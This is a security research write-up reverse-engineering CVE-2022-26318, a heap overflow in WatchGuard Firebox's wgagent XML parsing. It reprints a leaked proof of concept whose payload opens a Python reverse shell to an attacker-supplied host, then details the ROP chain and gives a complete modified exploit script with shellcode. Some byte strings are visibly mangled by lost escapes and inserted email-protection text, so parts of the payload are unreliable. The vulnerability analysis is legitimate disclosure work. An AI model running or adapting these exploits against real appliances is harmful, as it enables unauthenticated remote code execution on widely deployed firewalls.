A world where binary payloads come with explanations.

The CVE for this issue is CVE-2022-26318.

The reverse engineering of this CVE was performed by Dylan Pindur.

On March 18 2022 GreyNoise reported seeing activity targeting CVE-2022-26318, an advisory for a nondescript vulnerability in WatchGuard Firebox and XTM appliances. WatchGuard appliances provide various network security functions including firewall, threat detection and VPN services. A cursory search with Censys lists roughly 400,000 internet facing WatchGuard devices. As such, an exploit in one of these devices can have a big impact.

Examining the CVE yielded little useful information. The only note on the issue from WatchGuard was that it “could allow an unauthenticated user to execute arbitrary code”. Things became more interesting on March 28 2022 when a proof-of-concept was released and then removed shortly after. Forunately, a mirror is available here. Looking at the exploit, which is included below, we can make a few guesses before running it. As we will see in the post, some of these are correct and others are not.

def buildPayload(L_HOST):
   payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
   payload += ("A"*3181).encode()
   payload += "MFA>".encode()
   payload += ("<BBBBMFA>"*3680).encode()
   payload += b'x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 [email protected]x00x00x00x00x00h[email protected]x00x00x00x00x00 [email protected]x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xb1xd5Ax00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00}^@x00x00x00x00x00x00x00x00x00x00x00x00x00|^@x00x00x00x00x00xadxd2Ax00x00x00x00x00x00x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00*[email protected]x00x00x00x00x00Hx8d=x9dx00x00x00xbeAx02x00x00xbaxb6x01x00x00xb8x02x00x00x00x0fx05Hx89x05x92x00x00x00Hx8bx15x93x00x00x00Hx8d5x94x00x00x00Hx8b=}x00x00x00xb8x01x00x00x00x0fx05Hx8b=ox00x00x00xb8x03x00x00x00x0fx05xb8;x00x00x00Hx8d=?x00x00x00Hx89= x00x00x00Hx8d5Ax00x00x00Hx895x1ax00x00x00Hx8d5x0bx00x00x001xd2x0fx05xb8<x00x00x00x0fx05x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00/usr/bin/pythonx00/tmp/test.pyx00x00x00x00x00x00x00x00x00xefx01x00x00x00x00x00x00'
   payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
   return gzip.compress(payload, 9)
  1. The exploit begins with a large malformed XML payload, so the XML parser is a likely candidate for exploitation.
  2. The exploit is compressed using gzip, another location where it’s reasonable for a memory-related vulnerability to appear.
  3. Towards the end of the exploit we see multiple string of bytes in the format 00 00 00 00 00 xx xx xx indicating a possible rop gadget consisting of 64-bit memory addresses where the high bits are all set to zero.

First we needed to start up a vulnerable instance of WatchGuard to verify the exploit. This was easier said than done. By tweaking the URL for the FireboxV 12.8 VM image we were able to download FireboxV-12.7.2. However, after starting the VM and logging in we were presented with a limited shell and no file access. No worries, we can mount the disk image in another VM and overwrite the root password.

[[email protected] ~]# mount /dev/nvme0n2p2 /tmp/firebox
[[email protected] ~]# openssl passwd -6 root
[[email protected] ~]# sed -i 's|root:.*:0:0|root:$6$rkm3xalVbXgD/rQ7$Fl.F.rJi/5J.t4DTIS.itt6ypDXtfC7XKAnD1FM6vNMGjl0jiO0X.kW8r2cQPqW3HWneRSipaneXsg4wzZCuS.:0:0|' /tmp/firebox/etc/passwd

After trying to login, we were hit with another hurdle. There was no shell installed at all.

WatchGuard-XTM login: root
Password: root
login: can't execute '/bin/ash': No such file or directory

Using the same trick as before we mounted the disk image and copied /bin/bash over. In retrospect, this would have been a good time to check what other utilities were missing, because there were a lot of them. After actually logging in, we were greeted with no way to read files and all mounted filesystems locked down to either be non-executable or non-writable.

([email protected]) Password: 
-bash-5.1# cat /etc/nginx/nginx.conf 
-bash: cat: command not found
-bash-5.1# cd /bin
-bash-5.1# echo x > x.txt
-bash: x.txt: Read-only file system

After another round of mount, copy, reboot we had BusyBox installed and remounted the filesystem as read-write. We began our analysis by searching through the Nginx configuration files. We found that the target port of the exploit (4117) is proxied to /usr/bin/wgagent. Our analysis also showed that port 8080 points to the same wgagent service.

server {
    listen              4117 ssl;
    listen              [::]:4117 ssl;

    include             fastcgi_params;
    fastcgi_param       SCRIPT_NAME     $fastcgi_script_name;
    fastcgi_param       SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param       WG_SSL_SERVER_CERT /var/run/nginx/server.pem;
    fastcgi_request_buffering off;

    if ($request_method !~ ^(GET|HEAD|POST)$) { return 444; }

    location /agent/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
        # /agent/file_action can take a while, e.g. backup
        fastcgi_read_timeout    10m;
    location /login {   # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    location /logout {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    location /ping {    # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    location /cluster/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;

Lastly, we dropped a statically compiled gdbserver onto our target, opened the firewall and attached to the wgagent process. We were finally ready to run the exploit.

-bash-5.1# iptables -I INPUT 1 -i eth0 -j ACCEPT
-bash-5.1# gdbserver --attach $(busybox pidof wgagent)
Attached; pid = 2536
Listening on port 15432

From our debugging machine we attached to the target. We used GDB with PEDA to make the process less painful. We bumped our payload by a few bytes to try and get a crash rather than a clean exit. That way we would have somewhere to start searching for the vulnerability itself.

EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
   0x7f0c39e894c4:	pop    r13
   0x7f0c39e894c6:	pop    r14
   0x7f0c39e894c8:	pop    r15
=> 0x7f0c39e894ca:	ret    
   0x7f0c39e894cb:	nop    DWORD PTR [rax+rax*1+0x0]
   0x7f0c39e894d0:	mov    rax,QWORD PTR [r15+0x38]
   0x7f0c39e894d4:	movsxd rdx,edx
   0x7f0c39e894d7:	movsxd r12,ecx
0000| 0x7ffcd3e0afd6 --> 0x0 
0004| 0x7ffcd3e0afda --> 0x405020 (ret)
0008| 0x7ffcd3e0afde --> 0x0 
0012| 0x7ffcd3e0afe2 --> 0x40f968 (ret    0x2)
0016| 0x7ffcd3e0afe6 --> 0x0 
0020| 0x7ffcd3e0afea --> 0x405020 (ret)
0024| 0x7ffcd3e0afee --> 0x0 
0028| 0x7ffcd3e0aff2 --> 0xd60e0000 
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007f0c39e894ca in ?? () from target:/lib64/libxml2.so.2

Looking at the stack trace gave us a good starting point in Ghidra to know where to look. If we’re lucky the crash will be near the vulnerability. The segfault also occurs in the XML parsing library which lines up with our guess that the XML parser is the source of the vulnerability.

After looking at the symbols imported from libxml2, we searched for calls to xmlParseChunk with Ghidra. All the calls we found are in one function starting at 0x0040869d.


So we put a breakpoint at 0x0040869d and reran our exploit to see if we safely return from the function or if it crashes.

gdb-peda$ break *0x0040869d
Breakpoint 1 at 0x40869d
gdb-peda$ continue

EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0x40869a:	nop
   0x40869b:	leave  
   0x40869c:	ret    
=> 0x40869d:	push   rbp
   0x40869e:	mov    rbp,rsp
   0x4086a1:	sub    rsp,0x30f10
   0x4086a8:	mov    QWORD PTR [rbp-0x30f08],rdi
   0x4086af:	mov    QWORD PTR [rbp-0x30f10],rsi
0000| 0x7ffffff0a248 --> 0x40b8f8 (mov    QWORD PTR [rbp-0x88],rax)
0004| 0x7ffffff0a24c --> 0x0 
0008| 0x7ffffff0a250 --> 0x0 
0012| 0x7ffffff0a254 --> 0x0 
0016| 0x7ffffff0a258 --> 0x0 
0020| 0x7ffffff0a25c --> 0x0 
0024| 0x7ffffff0a260 --> 0x8bd 
0028| 0x7ffffff0a264 --> 0x0 
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040869d in ?? ()
gdb-peda$ finish
Run till exit from #0  0x000000000040869d in ?? ()

Program received signal SIGSEGV, Segmentation fault.

We got a segfault, which is good news. Given what we knew about this function and our payload, this was a promising lead. Our next port of call was some code review of the function making all the calls to xmlParseChunk. The function allocates quite a few large buffers on the stack and on the heap, however after enumerating these, all appeared to performed safely.

The next path we ventured down was the XML parser itself. There are no published vulnerabilities in the version of libxml2 used by WatchGuard. However, when we looked at the instantiation of the xml parser we saw that it was passed several callbacks.

Ghidra mistakenly identified them as separate local variables and not part of the larger structure beginning at local_158. We inferred this because the call to bzero on local_158 zeroes out 256 bytes and not the 48 specified in the variable declaration.

undefined local_158 [48];
undefined8 local_128;
code *local_f8;
code *local_f0;
code *local_d0;
code *local_70;
code *local_68;
local_f8 = FUN_00406797;
local_f0 = FUN_004067d4;
local_70 = FUN_004067ef;
local_68 = FUN_00406dce;
local_d0 = FUN_004070b3;

Through some trial and error, we discovered that these callbacks correspond to the following XML SAX handler fields.

  • startDocument
  • endDocument
  • startElementNs
  • endElementNs
  • characters

We reviewed these callbacks and found that at the end startElementNs (FUN_004067ef) a call to strcat is made with the element name (param_2) used as the source string.

do {
   if (uVar9 == 0) break;
   uVar9 = uVar9 - 1;
   cVar1 = *pcVar10;
   pcVar10 = pcVar10 + (ulong)bVar11 * -2 + 1;
} while (cVar1 != '');

*(undefined2 *)(~uVar9 + 0x42735f) = 0x2f;

DAT_00427194 = 1;
DAT_00427198 = 0;
*(int *)(param_1 + 0x40) = *(int *)(param_1 + 0x40) + 1;


strcat is a pretty popular target for buffer overflows, so we put a breakpoint before our call to strcat and ran display/s $rdi to print the destination argument as a string each time execution was paused.

EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0x406d8c:	mov    rsi,rax
   0x406d8f:	mov    rax,0x427360
   0x406d96:	mov    rdi,rax
=> 0x406d99:	call   0x405c00 <[email protected]>
   0x406d9e:	mov    rax,0x427194
   0x406da5:	mov    DWORD PTR [rax],0x1
   0x406dab:	mov    rax,0x427198
   0x406db2:	mov    DWORD PTR [rax],0x0
No argument
0000| 0x7fff5ca61b00 --> 0x0 
0004| 0x7fff5ca61b04 --> 0x0 
0008| 0x7fff5ca61b08 ("xt/p")
0012| 0x7fff5ca61b0c --> 0x0 
0016| 0x7fff5ca61b10 --> 0x0 
0020| 0x7fff5ca61b14 --> 0x0 
0024| 0x7fff5ca61b18 --> 0x0 
0028| 0x7fff5ca61b1c --> 0x0 
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000406d99 in ?? ()
gdb-peda$ display/s $rdi
2: x/s $rdi  0x427360:	"/"

We stepped through multiple calls to strcat and found that it was constructing an XPath query to traverse the XML document.

2: x/s $rdi  0x427360:	"/methodCall/"
2: x/s $rdi  0x427360:	"/methodCall/params/"
2: x/s $rdi  0x427360:	"/methodCall/params/param/"
2: x/s $rdi  0x427360:	"/methodCall/params/param/value/struct/member/value/", 'A' <repeats 149 times>...

There didn’t seem to be any limit on how many times strcat was called and after we checked the process mappings it looked like eventually strcat would start overflowing into heap memory. This can be seen below, the destiantion address 0x427360 is in the block immediately preceeding the heap 0x428000.

gdb-peda$ info proc mapping
process 2921
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x405000     0x5000        0x0 /usr/bin/wgagent
            0x405000           0x41e000    0x19000     0x5000 /usr/bin/wgagent
            0x41e000           0x425000     0x7000    0x1e000 /usr/bin/wgagent
            0x425000           0x426000     0x1000    0x24000 /usr/bin/wgagent
            0x426000           0x428000     0x2000    0x25000 /usr/bin/wgagent
            0x428000           0x474000    0x4c000        0x0 [heap]

Although there are multiple ways to exploit heap overflows, there’s a simpler option available to us here. Using PEDA we searched memory for the address of our startElementNs callback (0x4067ef) and found that, as part of instantiating the parser context, the address is copied to the heap and is roughly 11,000 bytes away from the start of the XPath query.

gdb-peda$ find 0x4067ef
Searching for '0x4067ef' in: None ranges
Found 2 results, display max 2 items:
 [heap] : 0x429e68 --> 0x4067ef (push   rbp)
[stack] : 0x7fff5ca92c88 --> 0x4067ef (push   rbp)

We inspected the memory before and after and confirmed it was our SAX handler struct as it contained the magic identifier specified by libxml2, #define XML_SAX2_MAGIC 0xDEEDBEAF.

gdb-peda$ x/10w 0x429e68-0x10
0x429e58:	0xdeedbeaf	0x00000000	0x00000000	0x00000000
0x429e68:	0x004067ef	0x00000000	0x00406dce	0x00000000
0x429e78:	0x00000000	0x00000000

We put a watch on the heap address of the callback, waiting for it to be overwritten and when it was we saw something familiar.

gdb-peda$ watch *(int *) 0x429e68
Hardware watchpoint 3: *(int *) 0x429e68
gdb-peda$ continue 2000
Will ignore next 1999 crossings of breakpoint 2.  Continuing.

Hardware watchpoint 3: *(int *) 0x429e68

Old value = 0x4067ef
New value = 0x41464d
0x00007fbe99c3ccb6 in ?? () from target:/lib64/libc.so.6

0x41464d is MFA, the three characters repeated in the XML payload. We had found the start of our ROP gadget chain. Next time libxml2 tries to call startElementNs it will instead jump to 0x41464d.

The goal of this ROP chain was to pivot execution to the shellcode located on the stack. Fortunately, the stack was already marked as executable so no additional steps need to be taken. An annotated trace of the chain is as follows:

Pop 37054 bytes from the stack and return but with a now much shorter stack.
0x41464d:	ret    0x90be

Continue execution of libxml2 as normal.
0x7f37bfee24a4:	add    rsp,0x20
0x7f37bfee24a8:	mov    ecx,DWORD PTR [rsp+0x3c]
0x7f37bfee24ac:	test   ecx,ecx
0x7f37bfee24ae:	jne    0x7f37bfee26bb
0x7f37bfee24b4:	mov    rax,QWORD PTR [rsp+0x10]
0x7f37bfee24b9:	add    rsp,0x88
0x7f37bfee24c0:	pop    rbx
0x7f37bfee24c1:	pop    rbp
0x7f37bfee24c2:	pop    r12
0x7f37bfee24c4:	pop    r13
0x7f37bfee24c6:	pop    r14
0x7f37bfee24c8:	pop    r15
0x7f37bfee24ca:	ret

Pop 2 bytes from the stack and hop to the next gadget.
0x40f968:	ret    0x2

Hop to the next gadget.
0x405020:	ret

Pop ROP gadget at 0x41d611 into rax.
0x41d60e:	pop    rax
0x41d60f:	pop    rbx
0x41d610:	pop    rbp
0x41d611:	ret

Save the stack pointer in rbp then call the gadget popped into rax previously.
0x405e7d:	mov    rbp,rsp
0x405e80:	call   rax

Bump two values off the stack.
0x41d5b1:	pop    rsi
0x41d5b2:	pop    r15
0x41d5b4:	ret

Push rbp, which contains our stack pointer onto the stack.
0x405e7c:	push   rbp
0x405e7d:	mov    rbp,rsp
0x405e80:	call   rax

Bump two values off the stack.
0x41d5b1:	pop    rsi
0x41d5b2:	pop    r15
0x41d5b4:	ret

Load stack address we pushed on earlier into rdx and copy it into rsi.
0x41d2ad:	lea    rdx,[rbp-0x80]
0x41d2b1:	mov    rsi,rdx
0x41d2b4:	mov    rdi,rcx
0x41d2b7:	call   rax

Bump two values off the stack.
0x41d5b1:	pop    rsi
0x41d5b2:	pop    r15
0x41d5b4:	ret

Pop 0xc0 into rax to bump what will become our stack pointer by 192 bytes.
0x41d60e:	pop    rax
0x41d60f:	pop    rbx
0x41d610:	pop    rbp
0x41d611:	ret

Copy (via adding) rdx, which points to the stack, into rax and then jump to rax.
0x40a92a:	add    rax,rdx
0x40a92d:	jmp    rax

Start executing our shellcode.
0x7ffd5782ca68:	nop

The goal here had been to determine if this exploit was suitable to put into our platform here at Assetnote. This means the exploit must meet certain criteria. It is preferred if the exploit is relatively non-intrusive, consistent and doesn’t rely on calling back to our infrastructure. Unfortunately, as presented, this exploit didn’t meet this criteria. The exploit writes a file to disk and then throws a reverse shell that we are expected to catch. Bearing all this in mind, some modifications were required. Since we’re already making a HTTP request, what would be great is if we could hijack the response and write out a unique value. Then if we see this unique value, we know the exploit worked.

First, we ran the process with strace attached and sent through a normal request. The goal here was to capture what information the wgagent process writes sends back to Nginx as a reply.

-bash-5.1# strace -e trace=write -v -s 1024 -p $(busybox pidof wgagent)
strace: Process 2536 attached
write(9, "1611]3Content-type: text/xmlrnrn<?xml version="1.0"?>n<methodResponse>n <fault><value><struct>n  <member>n   <name>faultCode</name>n   <value><int>401</int></value>n  </member>n  <member>n   <name>faultString</name>n   <value><string>invalid credentials or user doesn&apos;t exist</string></value>n  </member>n </struct></value></fault>n</methodResponse>n", 360) = 360
write(9, "16113110", 24) = 24

We saw that the response always follows the same format, some binary and then some HTML written out to file descriptor nine. Cross-referencing this against what we know about the process (that it uses FCGI) we saw that it lined up quite nicely with an FCGI response record struct.

typedef struct {
   unsigned char version;                    // 0x01
   unsigned char type;                       // 0x06 (FCGI_STDOUT)
   unsigned char requestIdB1;                // 0x00
   unsigned char requestIdB0;                // 0x01
   unsigned char contentLengthB1;            // 0x01
   unsigned char contentLengthB0;            // ]
   unsigned char paddingLength;              // 0x03
   unsigned char reserved;                   // 0x00
   unsigned char contentData[contentLength]; // Content-type: text/xml...
   unsigned char paddingData[paddingLength]; // 0x000000
} FCGI_Record;

All we needed to do next was write some short shellcode to setup and execute a syscall which wrote out a test value, “PewPewPewPew”. We also added an exit syscall afterwards to ensure the process exited cleanly rather than segfaulting after our shellcode finished.

0:  48 c7 c2 30 00 00 00    mov    rdx,0x30     ; arg 3 to write, the string length
7:  48 89 e6                mov    rsi,rsp
a:  48 83 c6 38             add    rsi,0x38     ; arg 2 to write, stack pointer + offset to our fcgi record
e:  48 c7 c7 09 00 00 00    mov    rdi,0x9      ; arg 1 to write, file descriptor we are writing to
15: 48 c7 c0 01 00 00 00    mov    rax,0x1      ; write's syscall number
1c: 0f 05                   syscall
1e: 48 c7 c0 3c 00 00 00    mov    rax,0x3c     ; exit's syscall number (60)
25: 48 c7 c7 00 00 00 00    mov    rdi,0x0      ; arg 1 to exit
2c: 0f 05                   syscall

Putting it all together we produced the following exploit.

#!/usr/bin/env python3

import socket
import ssl
import gzip
import sys

def build_payload():
    # xml overflow payload
    payload  = b''
    payload += b'<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'
    payload += b'A'*3181
    payload += b'MFA>'
    payload += b'<BBBBMFA>'*3680

    # padding and rop chain
    payload += b'x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 [email protected]x00x00x00x00x00h[email protected]x00x00x00x00x00 [email protected]x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xb1xd5Ax00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00}^@x00x00x00x00x00x00x00x00x00x00x00x00x00|^@x00x00x00x00x00xadxd2Ax00x00x00x00x00x00x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00*[email protected]x00x00x00x00x00'

    # shell code
    payload += b'x48xC7xC2x30x00x00x00'  # mov rdx,0x30
    payload += b'x48x89xE6'                  # mov rsi,rsp
    payload += b'x48x83xC6x2e'              # add rsi,0x2e
    payload += b'x48xC7xC7x09x00x00x00'  # mov rdi,0x9
    payload += b'x48xC7xC0x01x00x00x00'  # mov rax,0x1 
    payload += b'x0fx05'                      # syscall
    payload += b'x48xc7xc0x3cx00x00x00'  # mov rax,0x3c
    payload += b'x48xc7xc7x00x00x00x00'  # mov rdi,0x0
    payload += b'x0fx05'                      # syscall

    # http response
    payload += b'x01'      # fcgi version
    payload += b'x06'      # fcgi type (stdout)
    payload += b'x00x01'  # fcgi request id
    payload += b'x00x3c'  # content length
    payload += b'x00'      # padding length
    payload += b'x00'      # reserved
    payload += b'Content-Type: text/plainrnrnPewPewPewPew'

    return gzip.compress(payload, 9)

def build_post_request(target):
    payload = build_payload()

    request  = ''
    request += 'POST /agent/login HTTP/1.1rn'
    request += 'Host: {}:8080rn'.format(target)
    request += 'Content-Encoding: gziprn'
    request += 'Content-Length: {}rn'.format(len(payload))
    request += 'rn'

    return request.encode() + payload

if __name__ == '__main__':
    TARGET = sys.argv[1]

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ssl_sock = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)

    print('connecting to {} port {}'.format(TARGET, 8080))
    ssl_sock.connect((TARGET, 8080))

    print ('sending payload...')
    request = build_post_request(TARGET)


Which, when run, gave us the response we had all been waiting for!

$ ./exploit.py
connecting to port 8080
sending payload...
b"HTTP/1.1 200 OKrnDate: Wed, 13 Apr 2022 12:37:10 GMTrnContent-Type: text/plainrnTransfer-Encoding: chunkedrnConnection: keep-alivernX-Frame-Options: SAMEORIGINrnX-XSS-Protection: 1; mode=blockrnX-Content-Type-Options: nosniffrnStrict-Transport-Security: max-age=31536000rnContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'rnX-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'rnX-Webkit-CSP: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'rnrncrnPewPewPewPewrn"

So what have we learnt? Locking down a VM by removing utilities and mounting filesystems as read-only, while annoying, doesn’t provide a great deal protection. The original exploit used python to get around this and we were able to remove the protections with a little effort. That being said, it does make maintaining perstence after exploitation considerably harder.

Out of our three initial guesses, two were correct. The XML parser was vulnerable and the exploit did utilise a ROP chain. However, nothing in the exploit appeared to rely on it being compressed. Instead this was probably done to avoid sending a 30kB POST body.

Lastly, as expected, strcat and friends are probably best avoided. There are safer alternatives out there like strlcat.

As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for and analysing security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.

Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Little information was provided on how to verify if a deployment was vulnerable and the criticality of the issue was left relatively quiet.

Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.

If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.

If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.